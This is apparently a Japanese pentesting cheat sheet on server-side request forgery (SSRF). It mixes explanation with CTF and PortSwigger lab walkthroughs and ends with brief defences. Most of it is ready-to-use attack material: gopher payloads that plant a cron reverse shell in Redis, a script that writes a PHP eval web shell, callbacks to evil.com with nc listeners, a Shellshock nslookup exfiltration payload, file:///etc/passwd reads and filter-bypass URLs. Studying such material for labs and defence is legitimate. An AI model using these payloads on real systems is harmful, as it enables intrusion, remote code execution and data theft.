概要#
多くの Web アプリケーションは、他のサーバーからデータを取得する機能を提供しています。この機能は通常「外部リソースの読み込み」と呼ばれます。ユーザーが指定した URL を使用することで、Web アプリケーションは画像の取得、ファイルのダウンロード、ファイル内容の読み取りなど、さまざまな操作を実行できます。しかし、この機能が悪用されると、攻撃者は欠陥のある Web アプリケーションをプロキシとして利用し、リモートおよびローカルのサーバーを攻撃することができます。この形式の攻撃は、サーバーサイドリクエストフォージェリ(Server-side Request Forgery、略して SSRF)と呼ばれます。
SSRF 攻撃では、攻撃者は特別なリクエストを構築することで、サーバー側が発信するリクエストのターゲットを攻撃者自身が制御するシステムや内部システムにします。一般的に、SSRF 攻撃のターゲットは外部から直接アクセスできない内部システム、例えばデータベースや内部ネットワークインターフェースなどです。これにより、攻撃者はファイアウォールを回避し、これらの内部システムに直接アクセスできるようになります。
SSRF 攻撃の発生は、主にサーバー側が他のサーバーからデータを取得する機能を提供しているが、ターゲットアドレスに対して十分なフィルタリングや制限を行っていないことに起因します。例えば、サーバー側は指定された URL からウェブページのテキストコンテンツを取得したり、指定されたアドレスの画像を読み込んだり、ファイルをダウンロードしたりすることを許可する場合があります。サーバー側がこれらの操作に対して適切なセキュリティ制御を行わない場合、例えば URL が内部ネットワークを指しているかどうかを確認したり、アクセス可能な URL の範囲を制限したりしない場合、攻撃者はこの機能を利用して SSRF 攻撃を行う可能性があります。
タイプ#
- 基本(エコー)
- 非エコー
利用プロセス#
外部にネットワークリクエストを発信できる場所では、SSRF が存在する可能性があります。以下は 127.0.0.1 の自身の 8080 ポートにリクエストを発信し、関連内容が返されたことを示しており、SSRF 脆弱性が存在することを示しています。
リクエストパケットは以下の通りです:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
ローカルファイルを読み取ろうとする(Windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
Linux 環境の場合、以下のファイルを読み取ります:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
ケース 1
GET リクエスト
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
ケース 2
POST リクエスト
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
利用方法#
脆弱性の一般的な利用方法#
- 内部ネットワークポートスキャン
- DICT、HTTP プロトコルを利用して内部ネットワークのポートの開放状況を探ることができます
- burp suite によるブルートフォース
- 一般的なポート、80、8080、3306、6379 などをブルートフォース
- ディレクトリスキャン
- burp suite によるブルートフォース
- SQL インジェクション
- エンコーディング形式、二重 URL エンコーディング
- コマンド実行
- エンコーディング形式、二重 URL エンコーディング
- gopher プロトコル
- url:gopher://[host]:[port]/ 二重 URL エンコーディングされた TCP データストリーム
- CVE-2017-12615
- tomcat の put メソッドでファイルを書き込む
- Redis の未認証アクセス脆弱性(認証なし)
- DICT プロトコル(dict://x.x.x.x:6379/<Redis コマンド>)
- ssrf-xss
脆弱性の複雑な利用方法#
ブラインド SSRF 利用#
応答の状態と応答時間に基づいてポートが開いているかどうかを判断します。
以下は一例の表です:
アウトオブバンド技術を使用してブラインド SSRF を利用します。
さまざまな利用プロトコル
file:///
dict://
sftp://
ldap://
tftp://
gopher://
dict プロトコル#
サーバーが外部サイトへの HTTP リクエストを禁止している場合、またはホワイトリストにある場合は、dict プロトコルを使用できます。
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
gopher プロトコル#
gopher プロトコルは GET、POST リクエストを発信することをサポートします。GET リクエストパケットと POST リクエストパケットをキャプチャし、gopher プロトコルに適合するリクエストを構成できます。
gopher プロトコルは SSRF 利用において最も強力なプロトコルです。
以下のケースでは、302 リダイレクトがリクエストを受け取ります。
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
フォーマット
gopher://<host>:<port>/<gopher-path>_後にTCPデータストリームが続きます
curl gopher://127.0.0.1:8000/_GET%20test
gopher のデフォルトポートは 70 です。
POST リクエストを発信する場合、改行は %0d%0a を使用する必要があります。複数のパラメータがある場合、パラメータ間の & も URL エンコーディングする必要があります。
GET リクエストを送信する
以下のペイロードを送信する場合:
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
次の形式に変換する必要があります。
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
HTTP パケットの最後に %0d%0a を追加して、メッセージの終了を示します。
POST リクエストを送信する
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
次の形式に変換する必要があります。
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
SSRF における利用
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# PHPはパラメータを受け取った後にURLを一度デコードするため、再度URLエンコーディングする必要があります
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
URL 内の/
は二重エンコーディングできず、ポート番号も二重エンコーディングできず、プロトコル名も二重エンコーディングできません。
gopher プロトコルを利用して Redis のリバウンドシェルにアクセス
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
s/ftp プロトコル#
sftp プロトコルは SSH ファイル転送プロトコルの略で、安全な転送プロトコルです。ファイルを転送するために使用されます。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
tftp#
ファイル転送プロトコル
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
file プロトコル#
file プロトコルはファイルシステム内の機密ファイルを読み取るために使用されます。
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
ldap/s/i#
LDAP は軽量ディレクトリアクセスプロトコルを表します。これは、IP ネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするためのアプリケーションプロトコルです。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
pdf ssrf#
場合によっては、サーバーがアップロードされたファイルを PDF ファイルに変換することがあります。
<iframe>
, <img>
, <base>
または<script>
タグ、CSS url () を使用して内部サービスにリクエストを送信し、機密ファイルを読み取ることを試みます。
<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">
avi#
fastcgi プロトコル#
title:ctfhub靶场
- まずサーバーでリスニングします。
nc -lvnp 9000 > 1.txt
- クライアントは Python スクリプトを使用して 9000 ポートに接続します。
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- 生成された txt ファイルを次の Python スクリプトで二重エンコーディングします。
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
ペイロードを脆弱性パラメータに配置します。
ファイル名がわかったら、cat コマンドでフラグの内容を確認します。
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
前の手順と同様です。
利用ケース#
ポートスキャン#
SSRF は DICT プロトコルと組み合わせて内部ネットワークのポートの開放状況を探ることができ、TCP エコーのポートのみを探ることができます。
redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
ツール#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上記のツールは再度 URL エンコーディングする必要があります。
[[ctfhub-skilltree.md# 二次编码脚本 | url 二重エンコーディングスクリプト]]
redis にシェルを書き込む
import urllib
protocol="gopher://"
ip="192.168.134.132" //IPアドレス
port="6379" //ポート
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//書き込む内容はワンライナーのマルウェア
filename="1.php" //ファイル名は1.php
path="/var/www/html"//デフォルトパス
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
ケース#
[[ctfhub-skilltree.md#redis|ssrf による redis へのシェル書き込みシナリオ]]
バイパス技術#
fuzz 辞書#
- web 脆弱性 ->ssrfDicts
ホワイトリスト#
1、指定された IP またはドメイン名が指定されたリソースにアクセスを許可します。
ホワイトリストは:abc.com
直接読み取ることはできません。
http://example.com/ssrf.php?url=https://google.com
ホワイトリストドメイン内でオープンリダイレクト脆弱性を見つけ、オープンリダイレクト脆弱性を利用します。
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
2、サブドメイン
ホワイトリストは:*.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
ブラックリスト#
- IP を以下のバイパス可能な IP に変更
- フィルタリングされた文字をエンコーディング
- またはドメインを使用して localhost を指す
特殊 IP#
http://0177.1/ # 十進法 http://127.0.0.1
http://0x7f.1/ # 十六進法 http://127.0.0.1
http://127.000.000.1
https://520968996
エラー IP#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
ipv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·
その他のプロトコル#
gopher://
dict://
php://
jar://
tftp://
DNS 欺瞞#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
エンコーディングバイパス#
これには、16 進数エンコーディング、8 進数エンコーディング、ダブルワードエンコーディング、URL エンコーディング、および混合エンコーディングが含まれます。
127.0.0.1は0x7f.0x0.0x0.0x1に変換されます
127.0.0.1は0177.0.0.01に変換されます
http://127.0.0.1はhttp://2130706433に変換されます
localhostは%6c%6f%63%61%6c%68%6f%73%74に変換されます
ホワイトリスト#
- URL の前に認証を追加し、@で区切ることができます。username を内部システムの IP に置き換え、他のパスを最後に追加します。
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- 各 URL セグメントを #で分割することもできます。
https://evil-host#expected-host
- DNS の命名構造を使用します。
https://expected-host.evil-host
- 文字を URL エンコーディングして URL パーサーを混乱させることができます。
302 リダイレクト#
時には、サーバーが多くのプロトコルをフィルタリングすることがあります。たとえば、渡された URL に「http」または「https」のみが表示されることを許可する場合、独自のサーバーで 302 リダイレクトを作成し、Gopher プロトコルを利用して内部の Redis を攻撃することができます。
SSRF ラボ#
ラボ:ローカルサーバーに対する基本的な SSRF#
パケットをキャプチャし、正常なリクエストを確認します。
stockApi をhttp://localhost/admin に変更すると、直接未認証でバックエンドパネルにアクセスできました。
ユーザーを削除するには、次のパラメータを入力します:stockApi=http://localhost/admin/delete?username=carlos
アカウントが正常に削除されました。
ラボ:別のバックエンドシステムに対する基本的な SSRF#
title:実験目標
ssrfを使用して内部ネットワークのポートスキャンを行い、192.168.0.Xネットワークセグメントの8080ポートを発見します。
同様に、check stock ページに移動します。
正常なリクエストは以下の通りです:
intruder に送信します。
ペイロードを設定します。
応答サイズを確認すると、IP が 192.168.0.154 であることがわかります。
ユーザー carlos を削除し、削除が成功しました。
ブラックリストベースの入力フィルタによる SSRF#
内部ネットワーク URL を入力すると、ブロックされます。
ブラックリストをバイパスするために、127.0.0.1 を 127.1 に変更し、admin もブロックされます。admin の a を二重エンコーディングし、特別な文字に対してのみ二重エンコーディングします。
carlos アカウントを削除します。
ホワイトリストベースの入力フィルタによる SSRF#
ホワイトリストは stock.weliketoshop.net へのアクセスのみを許可します。
http://[email protected]/ を入力して観察すると、この埋め込み資格情報の URL を使用してバイパスできることがわかります。
username の後に #を追加すると、依然としてブロックされ、# を二重エンコーディングすると、ブロックされないことがわかります。
http://localhost%[email protected]/
その後、admin を追加し、上記の画像は正常にバイパスされます。
post リクエストを送信して carlos アカウントを削除します。
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
ラボ:オープンリダイレクト脆弱性を介したフィルターバイパスによる SSRF#
オープンリダイレクト脆弱性を利用して SSRF 脆弱性を実現し、ターゲットは
http://192.168.0.12:8080/admin
にアクセスし、ユーザーcarlos
を削除します。
まず、オープンリダイレクト脆弱性を見つける必要があります。商品詳細ページのリンクリダイレクト部分で見つけることができます。
リンクは以下の通りです:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
http://www.baidu.com に直接リダイレクトできます。
check stock のリクエストパケットをキャプチャします。
上記のパケットを送信すると、path パラメータが欠落しているというメッセージが表示されます。
currentProductId を削除します。
ユーザーを削除します。
ブラインド SSRF によるアウトオブバンド検出#
脆弱性は referer にあります。
Burp Collaborator クライアントを開き、ドメインをコピーします。
それを referer にコピーし、リクエストを送信すると、Burp Collaborator クライアントが送信されたリクエストを受信しました。
ラボ:Shellshock を利用したブラインド SSRF#
1、実験を実現するには、まず「Collaborator Everywhere」プラグインをインストールする必要があります。これは burp のストアに含まれており、インストールできます。
2、被害者のウェブサイトにアクセスし、パケットをキャプチャします。右クリックして、スコープに追加します。
3、その後、ウェブサイトを引き続きブラウズすると、「Collaborator Everywhere」プラグインがリクエストを送信し、関連する応答を確認できるようになります。これにより、ここに SSRF 脆弱性が存在することがわかります。
4、具体的なリクエストは以下の通りです。
他のリクエストも追加されました。
intruder モジュールに送信し、ブルートフォースを実行します。User-Agent を以下のペイロードに設定し、referer をブルートフォースする必要がある内部ネットワークサーバーのセグメントに設定します。
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
ブルートフォースするパラメータを設定します。
スレッドを 1 に設定します。
ブルートフォースを開始し、Burp Collaborator クライアントがリクエストを受信したかどうかを確認します。
上記のように、サーバーのユーザー名を取得しました。
脆弱性の危険性#
SSRF は外部ネットワーク、サーバーが存在する内部ネットワーク、ローカルのポートスキャンを行い、内部またはローカルで実行されているアプリケーションを攻撃したり、File プロトコルを利用してローカルファイルを読み取ったりすることができます。
内部ネットワークサービスは外部ネットワークサービスに比べて一般的に防御が弱く、場合によっては一部の内部ネットワークサービスは運用の便宜のために内部ネットワークへのアクセスに対する権限検証を行っていないため、SSRF が存在する場合、通常は大きな危害をもたらします。
防御方法#
- 返された情報をフィルタリングする
- 統一されたエラーメッセージ
- リクエストのポートを制限する
- 使用されていないプロトコルを禁止する
- DNS リバインディングに対して、DNS キャッシュまたはホストのホワイトリストを使用することを検討する
その他#
-
title: 関連記事
- SSRF の原理と利用方法の浅い分析
- SSRF 脆弱性における Gopher プロトコルの深い研究
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)パート 1
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)パート 2
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)パート 3
- ssrf - web セキュリティ学習ノート
- ssrf - さまざまなコンポーネントの脆弱性利用方法
- PHP における SSRF
- SSRF のさまざまなバイパス手法と攻撃の考え方を理解するための一文
- SSRF 学習記録
- SSRF を利用して内部の FastCGI プロトコルを攻撃する
- Fastcgi プロトコル分析 && PHP-FPM 未認証アクセス脆弱性 && Exp 作成
- SSRF バイブル。チートシート
-
title: 関連ケース
- スプレッドシートから PDF コンバータへの SSRF の悪用 - excel 内の ssrf+xxe によるファイル読み取り
-
title
-
title: 関連ツール
- In3tinct/See-SURF - Python で書かれた ssrf パラメータスキャンツール
- swisskyrepo/SSRFmap - 自動化された Fuzz SSRF 開発ツール
- tarunkant/Gopherus - このツールは gopher ペイロードを生成し、SSRF を利用してさまざまなサーバーで RCE を取得します
- dns リバインディング
- URL オンラインエンコーディングおよびデコーディングツール
-
title: 関連リソース&靶場